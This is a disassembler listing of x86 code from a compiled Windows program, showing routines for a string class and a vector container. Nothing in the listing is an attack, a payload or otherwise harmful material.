CODE XREF: sub_409AA0+Aj mov byte ptr [esi+8], 0 pop esi retn sub_409AA0 endp ; --------------------------------------------------------------------------- db 0Bh dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_409AE0 proc near ; CODE XREF: sub_401424j mov eax, ecx xor ecx, ecx mov dword ptr [eax], offset off_43E010 mov [eax+9], ecx mov [eax+11h], ecx mov [eax+4], cl mov [eax+0Dh], ecx retn sub_409AE0 endp ; --------------------------------------------------------------------------- db 9 dup(90h) db 10h dup(0CCh) ; --------------------------------------------------------------------------- loc_409B10: ; CODE XREF: ___:00402063j ; ___:loc_402171j push esi mov esi, ecx call sub_401226 test byte ptr [esp+8], 1 jz short loc_409B28 push esi call sub_4367E2 ; --------------------------------------------------------------------------- add esp, 4 loc_409B28: ; CODE XREF: ___:00409B1Dj mov eax, esi pop esi retn 4 ; --------------------------------------------------------------------------- db 2 dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_409B40 proc near ; CODE XREF: sub_401861j arg_0 = dword ptr 4 mov eax, [esp+arg_0] push ebx push esi mov esi, ecx xor ebx, ebx push eax mov dword ptr [esi], offset off_43E010 mov [esi+9], ebx mov [esi+11h], ebx call sub_4015D7 mov [esi+4], bl mov [esi+0Dh], ebx mov eax, esi pop esi pop ebx retn 4 sub_409B40 endp ; --------------------------------------------------------------------------- db 7 dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_409B80 proc near ; CODE XREF: sub_4014C9j arg_0 = dword ptr 4 mov eax, [esp+arg_0] push ebx push esi mov esi, ecx xor ebx, ebx push eax mov dword ptr [esi], offset off_43E010 mov [esi+9], ebx mov [esi+11h], ebx call sub_401FBE mov [esi+4], bl mov [esi+0Dh], ebx mov eax, esi pop esi pop ebx retn 4 sub_409B80 endp ; --------------------------------------------------------------------------- db 7 dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_409BC0 proc near ; CODE XREF: sub_4020F4j var_10 = byte ptr -10h arg_0 = dword ptr 4 mov eax, [esp+arg_0] sub esp, 10h push ebx push esi mov esi, ecx push eax lea ecx, [esp+1Ch+var_10] push offset dword_4437F4 push ecx mov dword ptr [esi], offset off_43E010 nop call sub_5EA1BD add esp, 0Ch lea edx, [esp+18h+var_10] xor ebx, ebx mov ecx, esi push edx mov [esi+9], ebx mov [esi+11h], ebx call sub_4015D7 mov [esi+4], bl mov [esi+0Dh], ebx mov eax, esi pop esi pop ebx add esp, 10h retn 4 sub_409BC0 endp ; --------------------------------------------------------------------------- db 7 dup(90h) db 20h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_409C30 proc near ; CODE XREF: sub_401226j push esi mov esi, ecx push edi xor edi, edi mov eax, [esi+9] mov dword ptr [esi], offset off_43E010 cmp eax, edi jz short loc_409C4C push eax call sub_4367E2 ; --------------------------------------------------------------------------- add esp, 4 loc_409C4C: ; CODE XREF: sub_409C30+11j mov eax, [esi+0Dh] mov [esi+9], edi cmp eax, edi jz short loc_409C5F push eax call sub_4367E2 ; --------------------------------------------------------------------------- add esp, 4 loc_409C5F: ; CODE XREF: sub_409C30+24j mov [esi+0Dh], edi mov [esi+11h], edi pop edi pop esi retn sub_409C30 endp ; --------------------------------------------------------------------------- db 8 dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_409C80 proc near ; CODE XREF: sub_4015D7j arg_0 = dword ptr 4 push ebx push ebp push esi push edi mov edi, [esp+10h+arg_0] mov esi, ecx test edi, edi jz short loc_409CEA or ecx, 0FFFFFFFFh xor eax, eax repne scasb mov eax, [esi+9] not ecx dec ecx test eax, eax mov ebp, ecx jz short loc_409CAA push eax call sub_4367E2 ; --------------------------------------------------------------------------- add esp, 4 loc_409CAA: ; CODE XREF: sub_409C80+1Fj lea ebx, [ebp+2] push ebx call sub_4367FA ; --------------------------------------------------------------------------- db 8Bh dd 4C483F8h, 7E89FF85h, 8B2B7409h, 8BC033CBh, 116E89D1h dd 0F302E9C1h, 83CA8BABh, 0AAF303E1h, 8B11468Bh, 8B14244Ch dd 51500956h, 0A9E89052h, 837783DDh db 0C4h, 0Ch ; --------------------------------------------------------------------------- loc_409CEA: ; CODE XREF: sub_409C80+Cj pop edi pop esi pop ebp pop ebx retn 4 sub_409C80 endp ; --------------------------------------------------------------------------- db 0Fh dup(90h) db 20h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_409D20 proc near ; CODE XREF: sub_401FBEj arg_0 = dword ptr 4 push esi mov esi, ecx mov ecx, [esp+4+arg_0] call sub_401389 push eax mov ecx, esi call sub_4015D7 pop esi retn 4 sub_409D20 endp ; --------------------------------------------------------------------------- db 8 dup(90h) db 10h dup(0CCh) ; --------------------------------------------------------------------------- loc_409D50: ; CODE XREF: ___:00401A46j mov eax, [esp+4] sub esp, 10h push esi mov esi, ecx push eax lea ecx, [esp+8] push offset dword_4437F4 push ecx nop call sub_5EA1BD add esp, 0Ch lea edx, [esp+4] mov ecx, esi push edx call sub_4015D7 pop esi add esp, 10h retn 4 ; --------------------------------------------------------------------------- db 0Fh dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_409DA0 proc near ; CODE XREF: sub_401A9Bj arg_0 = dword ptr 4 push ebx push ebp push esi push edi mov edi, [esp+10h+arg_0] mov ebx, ecx test edi, edi jz loc_409E32 or ecx, 0FFFFFFFFh xor eax, eax repne scasb mov edi, [ebx+11h] not ecx dec ecx mov esi, ecx add esi, edi lea eax, [esi+1] push eax call sub_4367FA ; --------------------------------------------------------------------------- mov edi, [ebx+9] add esp, 4 test edi, edi mov ebp, eax jz short loc_409E32 or ecx, 0FFFFFFFFh xor eax, eax mov [ebx+11h], esi repne scasb not ecx sub edi, ecx mov edx, ecx mov esi, edi mov edi, ebp shr ecx, 2 rep movsd mov ecx, edx and ecx, 3 rep movsb mov edi, [esp+10h+arg_0] or ecx, 0FFFFFFFFh repne scasb not ecx sub edi, ecx mov esi, edi mov edx, ecx mov edi, ebp or ecx, 0FFFFFFFFh repne scasb mov ecx, edx dec edi shr ecx, 2 rep movsd mov ecx, edx and ecx, 3 rep movsb mov eax, [ebx+9] test eax, eax jz short loc_409E2F push eax call sub_4367E2 ; --------------------------------------------------------------------------- add esp, 4 loc_409E2F: ; CODE XREF: sub_409DA0+84j mov [ebx+9], ebp loc_409E32: ; CODE XREF: sub_409DA0+Cj ; sub_409DA0+36j pop edi pop esi pop ebp pop ebx retn 4 sub_409DA0 endp ; --------------------------------------------------------------------------- db 7 dup(90h) db 30h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_409E70 proc near ; CODE XREF: sub_4016BDj arg_0 = dword ptr 4 push esi mov esi, ecx mov ecx, [esp+4+arg_0] call sub_401389 push eax mov ecx, esi call sub_401A9B pop esi retn 4 sub_409E70 endp ; --------------------------------------------------------------------------- db 8 dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_409EA0 proc near ; CODE XREF: sub_401140j var_10 = byte ptr -10h arg_0 = dword ptr 4 mov eax, [esp+arg_0] sub esp, 10h push esi mov esi, ecx push eax lea ecx, [esp+18h+var_10] push offset dword_4437F4 push ecx nop call sub_5EA1BD add esp, 0Ch lea edx, [esp+14h+var_10] mov ecx, esi push edx call sub_401A9B pop esi add esp, 10h retn 4 sub_409EA0 endp ; --------------------------------------------------------------------------- db 0Fh dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_409EF0 proc near ; CODE XREF: sub_4012EEj arg_0 = dword ptr 4 push esi mov esi, [esp+4+arg_0] test esi, esi jnz short loc_409F07 mov edx, [ecx+9] xor eax, eax test edx, edx setnz al pop esi retn 4 ; --------------------------------------------------------------------------- loc_409F07: ; CODE XREF: sub_409EF0+7j mov eax, [ecx+9] push ebx loc_409F0B: ; CODE XREF: sub_409EF0+3Dj mov dl, [eax] mov bl, [esi] mov cl, dl cmp dl, bl jnz short loc_409F36 test cl, cl jz short loc_409F2F mov dl, [eax+1] mov bl, [esi+1] mov cl, dl cmp dl, bl jnz short loc_409F36 add eax, 2 add esi, 2 test cl, cl jnz short loc_409F0B loc_409F2F: ; CODE XREF: sub_409EF0+27j pop ebx xor eax, eax pop esi retn 4 ; --------------------------------------------------------------------------- loc_409F36: ; CODE XREF: sub_409EF0+23j ; sub_409EF0+33j sbb eax, eax pop ebx sbb eax, 0FFFFFFFFh pop esi retn 4 sub_409EF0 endp ; --------------------------------------------------------------------------- db 20h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_409F60 proc near ; CODE XREF: sub_401B72j arg_0 = dword ptr 4 push esi mov esi, ecx mov ecx, [esp+4+arg_0] call sub_401389 push eax mov ecx, esi call sub_4012EE pop esi retn 4 sub_409F60 endp ; --------------------------------------------------------------------------- db 8 dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_409F90 proc near ; CODE XREF: sub_401500j arg_0 = dword ptr 4 mov eax, [esp+arg_0] test eax, eax jnz short loc_409FA3 mov edx, [ecx+9] test edx, edx setnz al retn 4 ; --------------------------------------------------------------------------- loc_409FA3: ; CODE XREF: sub_409F90+6j push eax mov eax, [ecx+9] push eax nop call near ptr 77C4624Eh add esp, 8 retn 4 sub_409F90 endp ; --------------------------------------------------------------------------- db 0Ch dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_409FD0 proc near ; CODE XREF: sub_4021ADj arg_0 = dword ptr 4 push esi mov esi, ecx mov ecx, [esp+4+arg_0] call sub_401389 push eax mov ecx, esi call sub_4012EE pop esi retn 4 sub_409FD0 endp ; --------------------------------------------------------------------------- db 8 dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_40A000 proc near ; CODE XREF: sub_401CBCj push esi mov esi, ecx mov eax, [esi+9] test eax, eax jz short loc_40A013 push eax call sub_4367E2 ; --------------------------------------------------------------------------- add esp, 4 loc_40A013: ; CODE XREF: sub_40A000+8j mov dword ptr [esi+9], 0 pop esi retn sub_40A000 endp ; --------------------------------------------------------------------------- db 4 dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_40A030 proc near ; CODE XREF: sub_40102Dj arg_2000 = dword ptr 2004h arg_2004 = dword ptr 2008h arg_2008 = byte ptr 200Ch mov eax, 2000h call sub_436840 mov eax, [esp+arg_2004] test eax, eax jz short loc_40A072 lea ecx, [esp+arg_2008] lea edx, [esp+0] push ecx push eax push 2000h push edx nop call near ptr 77C3FF8Ah mov ecx, [esp+10h+arg_2000] add esp, 10h lea eax, [esp+0] push eax call sub_4015D7 loc_40A072: ; CODE XREF: sub_40A030+13j add esp, 2000h retn sub_40A030 endp ; sp-analysis failed ; --------------------------------------------------------------------------- db 7 dup(90h) db 20h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_40A0A0 proc near ; CODE XREF: sub_401D20j arg_0 = dword ptr 4 mov eax, [esp+arg_0] push 0 push eax call sub_401316 retn 4 sub_40A0A0 endp ; --------------------------------------------------------------------------- db 90h db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_40A0C0 proc near ; CODE XREF: sub_401316j arg_0 = byte ptr 4 push ebx mov ebx, dword_50FAE0 push esi push edi movsx edi, [esp+0Ch+arg_0] mov esi, ecx push edi mov eax, [esi+9] push eax call ebx ; strchr add esp, 8 test eax, eax jnz short loc_40A0E4 pop edi pop esi pop ebx retn 8 ; --------------------------------------------------------------------------- loc_40A0E4: ; CODE XREF: sub_40A0C0+1Cj mov ecx, [esi+9] push edi push ecx call ebx ; strchr mov edi, [esi+9] add esp, 8 mov edx, 1 sub edx, edi pop edi pop esi add eax, edx pop ebx retn 8 sub_40A0C0 endp ; --------------------------------------------------------------------------- db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_40A110 proc near ; CODE XREF: sub_4018A2j arg_0 = dword ptr 4 mov eax, [esp+arg_0] push 0 push eax call sub_401807 retn 4 sub_40A110 endp ; --------------------------------------------------------------------------- db 90h db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_40A130 proc near ; CODE XREF: sub_401807j arg_0 = dword ptr 4 arg_4 = dword ptr 8 mov eax, [esp+arg_4] push esi mov esi, ecx push eax mov ecx, [esp+8+arg_0] call sub_401389 push eax mov ecx, esi call sub_402117 pop esi retn 8 sub_40A130 endp ; --------------------------------------------------------------------------- db 3 dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_40A160 proc near ; CODE XREF: sub_4013E3j arg_0 = dword ptr 4 mov eax, [esp+arg_0] push 0 push eax call sub_402117 retn 4 sub_40A160 endp ; --------------------------------------------------------------------------- db 90h db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_40A180 proc near ; CODE XREF: sub_402117j arg_0 = dword ptr 4 push ebx push esi push edi mov edi, [esp+0Ch+arg_0] test edi, edi mov esi, ecx jnz short loc_40A195 pop edi pop esi xor eax, eax pop ebx retn 8 ; --------------------------------------------------------------------------- loc_40A195: ; CODE XREF: sub_40A180+Bj mov eax, [esi+9] mov ebx, dword_50FAF8 push edi push eax call ebx ; strstr add esp, 8 test eax, eax jnz short loc_40A1AF pop edi pop esi pop ebx retn 8 ; --------------------------------------------------------------------------- loc_40A1AF: ; CODE XREF: sub_40A180+27j mov ecx, [esi+9] push edi push ecx call ebx ; strstr mov edi, [esi+9] add esp, 8 mov edx, 1 sub edx, edi pop edi pop esi add eax, edx pop ebx retn 8 sub_40A180 endp ; --------------------------------------------------------------------------- db 5 dup(90h) db 20h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_40A1F0 proc near ; CODE XREF: sub_401C5Dj arg_0 = dword ptr 4 push esi push edi mov edi, [esp+8+arg_0] mov esi, ecx test edi, edi jnz short loc_40A203 pop edi xor eax, eax pop esi retn 4 ; --------------------------------------------------------------------------- loc_40A203: ; CODE XREF: sub_40A1F0+Aj mov eax, [esi+9] mov [esi+11h], edi test eax, eax jz short loc_40A216 push eax call sub_4367E2 ; --------------------------------------------------------------------------- add esp, 4 loc_40A216: ; CODE XREF: sub_40A1F0+1Bj push ebx lea ebx, [edi+1] push ebx call sub_4367FA sub_40A1F0 endp ; --------------------------------------------------------------------------- mov ecx, ebx mov edi, eax mov edx, ecx xor eax, eax shr ecx, 2 mov [esi+9], edi add esp, 4 rep stosd mov ecx, edx pop ebx and ecx, 3 rep stosb mov eax, [esi+9] pop edi pop esi retn 4 ; --------------------------------------------------------------------------- db 0Dh dup(90h) db 20h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_40A270 proc near ; CODE XREF: sub_4013D9j mov eax, [ecx+11h] retn sub_40A270 endp ; --------------------------------------------------------------------------- db 0Ch dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_40A290 proc near ; CODE XREF: sub_4012B2j var_2C = dword ptr -2Ch var_28 = dword ptr -28h var_24 = byte ptr -24h var_C = dword ptr -0Ch var_4 = dword ptr -4 arg_0 = dword ptr 4 arg_8 = dword ptr 0Ch push 0FFFFFFFFh push offset SEH_40A290 mov eax, large fs:0 push eax mov large fs:0, esp sub esp, 20h push ebp mov ebp, [esp+30h+arg_8] push esi xor esi, esi cmp ebp, 1 mov [esp+34h+var_2C], ecx mov [esp+34h+var_28], esi jge short loc_40A2E2 mov esi, [esp+34h+arg_0] push offset byte_446F60 mov ecx, esi call sub_401861 mov eax, esi pop esi pop ebp mov ecx, [esp+2Ch+var_C] mov large fs:0, ecx add esp, 2Ch retn 0Ch ; --------------------------------------------------------------------------- loc_40A2E2: ; CODE XREF: sub_40A290+2Bj push ebx push edi lea ecx, [esp+3Ch+var_24] call sub_401424 mov [esp+3Ch+var_4], esi lea esi, [ebp+1] push esi call sub_4367FA sub_40A290 endp ; --------------------------------------------------------------------------- mov ecx, esi mov ebx, eax mov edx, ecx xor eax, eax mov edi, ebx add esp, 4 shr ecx, 2 rep stosd mov ecx, edx mov edx, [esp+44h] and ecx, 3 push ebx rep stosb mov eax, [esp+14h] mov ecx, ebp mov edi, ebx mov esi, [eax+9] add esi, edx mov edx, ecx shr ecx, 2 rep movsd mov ecx, edx and ecx, 3 rep movsb lea ecx, [esp+1Ch] call sub_4015D7 push ebx call sub_4367E2 ; --------------------------------------------------------------------------- mov esi, [esp+44h] add esp, 4 lea eax, [esp+18h] mov ecx, esi push eax call sub_4014C9 lea ecx, [esp+18h] call sub_401226 mov ecx, [esp+30h] pop edi mov eax, esi pop ebx pop esi pop ebp mov large fs:0, ecx add esp, 2Ch retn 0Ch ; --------------------------------------------------------------------------- db 0Bh dup(90h) db 40h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_40A3C0 proc near ; CODE XREF: sub_401E2Ej var_4 = dword ptr -4 arg_0 = dword ptr 4 arg_4 = dword ptr 8 push ecx push esi push edi mov esi, ecx mov [esp+0Ch+var_4], 0 call sub_4013D9 mov ecx, [esp+0Ch+arg_4] mov edi, [esp+0Ch+arg_0] sub eax, ecx push eax push ecx push edi mov ecx, esi call sub_4012B2 mov eax, edi pop edi pop esi pop ecx retn 8 sub_40A3C0 endp ; --------------------------------------------------------------------------- db 2 dup(90h) db 10h dup(0CCh) ; --------------------------------------------------------------------------- loc_40A400: ; CODE XREF: ___:0040193Dj push ecx push esi mov esi, [esp+0Ch] push 1 mov ecx, esi mov dword ptr [esp+8], 0 call sub_4020F4 mov eax, esi pop esi pop ecx retn 4 ; --------------------------------------------------------------------------- db 2 dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_40A430 proc near ; CODE XREF: sub_4011EAj var_3C = dword ptr -3Ch var_38 = dword ptr -38h var_34 = byte ptr -34h var_24 = byte ptr -24h var_C = dword ptr -0Ch var_4 = dword ptr -4 arg_0 = dword ptr 4 arg_4 = dword ptr 8 arg_8 = dword ptr 0Ch push 0FFFFFFFFh push offset SEH_40A430 mov eax, large fs:0 push eax mov large fs:0, esp sub esp, 30h push esi push edi mov edi, [esp+44h+arg_8] mov esi, ecx test edi, edi mov [esp+44h+var_38], 0 jnz short loc_40A471 mov esi, [esp+44h+arg_0] push offset byte_446F60 mov ecx, esi call sub_401861 jmp loc_40A5A4 ; --------------------------------------------------------------------------- loc_40A471: ; CODE XREF: sub_40A430+2Aj lea eax, [esp+44h+arg_8] lea ecx, [esp+44h+var_34] push eax call sub_401690 mov ecx, [esi+9] mov [esp+44h+var_4], 1 push ecx lea ecx, [esp+48h+var_24] call sub_401861 lea ecx, [esp+44h+var_24] mov byte ptr [esp+44h+var_4], 2 call sub_4014D3 mov [esp+44h+var_3C], eax mov cl, [eax] test cl, cl jz loc_40A555 push ebx loc_40A4B1: ; CODE XREF: sub_40A430+11Ej mov dl, [edi] cmp cl, dl jnz short loc_40A4C0 loc_40A4B7: ; CODE XREF: sub_40A430+8Ej inc eax mov [esp+48h+var_3C], eax cmp [eax], dl jz short loc_40A4B7 loc_40A4C0: ; CODE XREF: sub_40A430+85j cmp byte ptr [eax], 22h setz bl test bl, bl jz short loc_40A4CF inc eax mov [esp+48h+var_3C], eax loc_40A4CF: ; CODE XREF: sub_40A430+98j lea edx, [esp+48h+var_3C] lea ecx, [esp+48h+var_34] push edx call sub_401988 mov eax, [esp+48h+var_3C] test bl, bl mov cl, [eax] jz short loc_40A51F test cl, cl jz short loc_40A507 loc_40A4EB: ; CODE XREF: sub_40A430+D5j cmp cl, 22h jnz short loc_40A4FC mov cl, [eax+1] cmp cl, 20h jz short loc_40A507 test cl, cl jz short loc_40A507 loc_40A4FC: ; CODE XREF: sub_40A430+BEj inc eax mov [esp+48h+var_3C], eax mov cl, [eax] test cl, cl jnz short loc_40A4EB loc_40A507: ; CODE XREF: sub_40A430+B9j ; sub_40A430+C6j ... cmp byte ptr [eax], 0 jz short loc_40A54A mov byte ptr [eax], 0 mov eax, [esp+48h+var_3C] mov cl, [eax+1] test cl, cl jz short loc_40A54A add eax, 2 jmp short loc_40A546 ; --------------------------------------------------------------------------- loc_40A51F: ; CODE XREF: sub_40A430+B5j test cl, cl jz short loc_40A534 mov dl, [edi] loc_40A525: ; CODE XREF: sub_40A430+102j cmp cl, dl jz short loc_40A534 inc eax mov [esp+48h+var_3C], eax mov cl, [eax] test cl, cl jnz short loc_40A525 loc_40A534: ; CODE XREF: sub_40A430+F1j ; sub_40A430+F7j mov cl, [eax] test cl, cl jz short loc_40A54A cmp cl, [edi] jnz short loc_40A54A mov byte ptr [eax], 0 mov eax, [esp+48h+var_3C] inc eax loc_40A546: ; CODE XREF: sub_40A430+EDj mov [esp+48h+var_3C], eax loc_40A54A: ; CODE XREF: sub_40A430+DAj ; sub_40A430+E8j ... mov cl, [eax] test cl, cl jnz loc_40A4B1 pop ebx loc_40A555: ; CODE XREF: sub_40A430+7Aj lea ecx, [esp+44h+var_34] call sub_4011F9 mov ecx, [esp+44h+arg_4] cmp ecx, eax jb short loc_40A56D push offset byte_446F60 jmp short loc_40A57A ; --------------------------------------------------------------------------- loc_40A56D: ; CODE XREF: sub_40A430+134j push ecx lea ecx, [esp+48h+var_34] call sub_401F64 mov eax, [eax] push eax loc_40A57A: ; CODE XREF: sub_40A430+13Bj mov esi, [esp+48h+arg_0] mov ecx, esi call sub_401861 lea ecx, [esp+44h+var_24] mov [esp+44h+var_38], 1 call sub_401226 lea ecx, [esp+44h+var_34] mov byte ptr [esp+44h+var_4], 0 call sub_40158C ; --------------------------------------------------------------------------- loc_40A5A4: ; CODE XREF: sub_40A430+3Cj mov ecx, [esp+44h+var_C] mov eax, esi pop edi pop esi mov large fs:0, ecx add esp, 3Ch retn 10h sub_40A430 endp ; --------------------------------------------------------------------------- db 7 dup(90h) db 70h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_40A630 proc near ; CODE XREF: sub_4016AEj var_4 = dword ptr -4 arg_0 = dword ptr 4 arg_4 = dword ptr 8 arg_8 = dword ptr 0Ch push ecx mov eax, [esp+4+arg_8] mov edx, [esp+4+arg_4] push esi mov esi, [esp+8+arg_0] push 0 push eax push edx push esi mov [esp+18h+var_4], 0 call sub_4011EA mov eax, esi pop esi pop ecx retn 0Ch sub_40A630 endp ; --------------------------------------------------------------------------- db 9 dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_40A670 proc near ; CODE XREF: sub_40200Ej arg_0 = dword ptr 4 push esi mov esi, ecx mov ecx, [esp+4+arg_0] call sub_401389 push eax mov ecx, esi call sub_4015D7 pop esi retn 4 sub_40A670 endp ; --------------------------------------------------------------------------- db 8 dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_40A6A0 proc near ; CODE XREF: sub_401A87j arg_0 = dword ptr 4 mov eax, [esp+arg_0] push eax call sub_4015D7 retn 4 sub_40A6A0 endp ; --------------------------------------------------------------------------- db 3 dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_40A6C0 proc near ; CODE XREF: sub_40146Fj arg_0 = dword ptr 4 mov eax, [ecx+9] mov ecx, [esp+arg_0] add eax, ecx retn 4 sub_40A6C0 endp ; --------------------------------------------------------------------------- db 4 dup(90h) db 10h dup(0CCh) ; --------------------------------------------------------------------------- loc_40A6E0: ; CODE XREF: ___:0040149Cj mov eax, [ecx+9] mov ecx, [esp+4] add eax, ecx retn 4 ; --------------------------------------------------------------------------- db 4 dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_40A700 proc near ; CODE XREF: sub_401389j mov eax, [ecx+9] retn sub_40A700 endp ; --------------------------------------------------------------------------- db 0Ch dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_40A720 proc near ; CODE XREF: sub_4017E4j mov eax, [ecx+9] retn sub_40A720 endp ; --------------------------------------------------------------------------- db 0Ch dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_40A740 proc near ; CODE XREF: sub_4014D3j mov eax, [ecx+9] retn sub_40A740 endp ; --------------------------------------------------------------------------- db 0Ch dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_40A760 proc near ; CODE XREF: sub_401690j arg_0 = dword ptr 4 mov eax, ecx mov ecx, [esp+arg_0] mov dl, [ecx] xor ecx, ecx mov [eax], dl mov [eax+4], ecx mov [eax+8], ecx mov [eax+0Ch], ecx retn 4 sub_40A760 endp ; --------------------------------------------------------------------------- db 8 dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn sub_40A790 proc near ; CODE XREF: sub_40158Cj push esi mov esi, ecx mov eax, [esi+8] mov ecx, [esi+4] push eax push ecx mov ecx, esi call sub_4019A6 mov eax, [esi+4] mov edx, [esi+0Ch] sub edx, eax mov ecx, esi sar edx, 2 push edx push eax call sub_4011EF sub_40A790 endp ; --------------------------------------------------------------------------- xor eax, eax mov [esi+4], eax mov [esi+8], eax mov [esi+0Ch], eax pop esi retn ; --------------------------------------------------------------------------- db 0Dh dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_40A7E0 proc near ; CODE XREF: sub_4011F9j mov edx, [ecx+4] test edx, edx jnz short loc_40A7EA xor eax, eax retn ; --------------------------------------------------------------------------- loc_40A7EA: ; CODE XREF: sub_40A7E0+5j mov eax, [ecx+8] sub eax, edx sar eax, 2 retn sub_40A7E0 endp ; --------------------------------------------------------------------------- db 0Dh dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_40A810 proc near ; CODE XREF: sub_401F64j arg_0 = dword ptr 4 push esi push edi mov esi, ecx call sub_4011F9 mov edi, [esp+8+arg_0] cmp eax, edi ja short loc_40A828 mov ecx, esi call sub_401EE7 loc_40A828: ; CODE XREF: sub_40A810+Fj mov ecx, esi call sub_401D1B lea eax, [eax+edi*4] pop edi pop esi retn 4 sub_40A810 endp ; --------------------------------------------------------------------------- db 9 dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_40A850 proc near ; CODE XREF: sub_401988j arg_0 = dword ptr 4 mov eax, [esp+arg_0] push esi mov esi, ecx push eax call sub_40164F push eax mov ecx, esi call sub_4016EF pop esi retn 4 sub_40A850 endp ; --------------------------------------------------------------------------- db 7 dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_40A880 proc near ; CODE XREF: sub_401D1Bj mov eax, [ecx+4] retn sub_40A880 endp ; --------------------------------------------------------------------------- db 0Ch dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_40A8A0 proc near ; CODE XREF: sub_40164Fj mov eax, [ecx+8] retn sub_40A8A0 endp ; --------------------------------------------------------------------------- db 0Ch dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_40A8C0 proc near ; CODE XREF: sub_4016EFj arg_0 = dword ptr 4 arg_4 = dword ptr 8 push esi push edi mov edi, ecx call sub_401D1B mov edx, [esp+8+arg_4] mov ecx, eax mov eax, [esp+8+arg_0] push edx mov esi, eax push 1 sub esi, ecx push eax mov ecx, edi sar esi, 2 call sub_4013CF mov ecx, edi call sub_401D1B lea eax, [eax+esi*4] pop edi pop esi retn 8 sub_40A8C0 endp ; --------------------------------------------------------------------------- db 0Ch dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_40A910 proc near ; CODE XREF: sub_4019A6j arg_0 = dword ptr 4 arg_4 = dword ptr 8 push ebx mov ebx, [esp+4+arg_4] push esi mov esi, [esp+8+arg_0] push edi cmp esi, ebx mov edi, ecx jz short loc_40A930 loc_40A921: ; CODE XREF: sub_40A910+1Ej push esi mov ecx, edi call sub_4018B1 add esi, 4 cmp esi, ebx jnz short loc_40A921 loc_40A930: ; CODE XREF: sub_40A910+Fj pop edi pop esi pop ebx retn 8 sub_40A910 endp ; --------------------------------------------------------------------------- db 0Ah dup(90h) db 10h dup(0CCh) ; --------------------------------------------------------------------------- loc_40A950: ; CODE XREF: sub_401EE7j push 0FFFFFFFFh push offset loc_438AB9 mov eax, large fs:0 push eax mov large fs:0, esp sub esp, 30h lea eax, [esp+3] lea ecx, [esp+4] push eax push offset aInvalidVectorT ; "invalid vector<T> subscript" nop call near ptr 76081F67h lea ecx, [esp+4] mov dword ptr [esp+38h], 0 push ecx lea ecx, [esp+18h] nop call near ptr 760A0430h lea edx, [esp+14h] push offset dword_43F080 push edx call sub_436832 ; --------------------------------------------------------------------------- db 0Eh dup(90h) db 20h dup(0CCh) ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn sub_40A9D0 proc near ; CODE XREF: sub_4011EFj arg_0 = dword ptr 4 mov eax, [esp+arg_0] push eax call sub_4367E2 sub_40A9D0 endp ; --------------------------------------------------------------------------- pop ecx retn 8 ; --------------------------------------------------------------------------- db 2 dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_40A9F0 proc near ; CODE XREF: sub_4013CFj arg_0 = dword ptr 4 arg_4 = dword ptr 8 arg_8 = dword ptr 0Ch push ebx push ebp push esi mov esi, ecx push edi mov edi, [esp+10h+arg_4] mov eax, [esi+8] mov ecx, [esi+0Ch] sub ecx, eax sar ecx, 2 cmp ecx, edi jnb loc_40AABB mov ecx, esi call sub_4011F9 cmp edi, eax jnb short loc_40AA23 mov ecx, esi call sub_4011F9 mov ebp, eax jmp short loc_40AA25 ; --------------------------------------------------------------------------- loc_40AA23: ; CODE XREF: sub_40A9F0+26j mov ebp, edi loc_40AA25: ; CODE XREF: sub_40A9F0+31j mov ecx, esi call sub_4011F9 mov ebx, eax push 0 add ebx, ebp mov ecx, esi push ebx call sub_401DCF ; --------------------------------------------------------------------------- mov edx, [esp+10h+arg_0] mov ebp, eax mov eax, [esi+4] push ebp push edx push eax 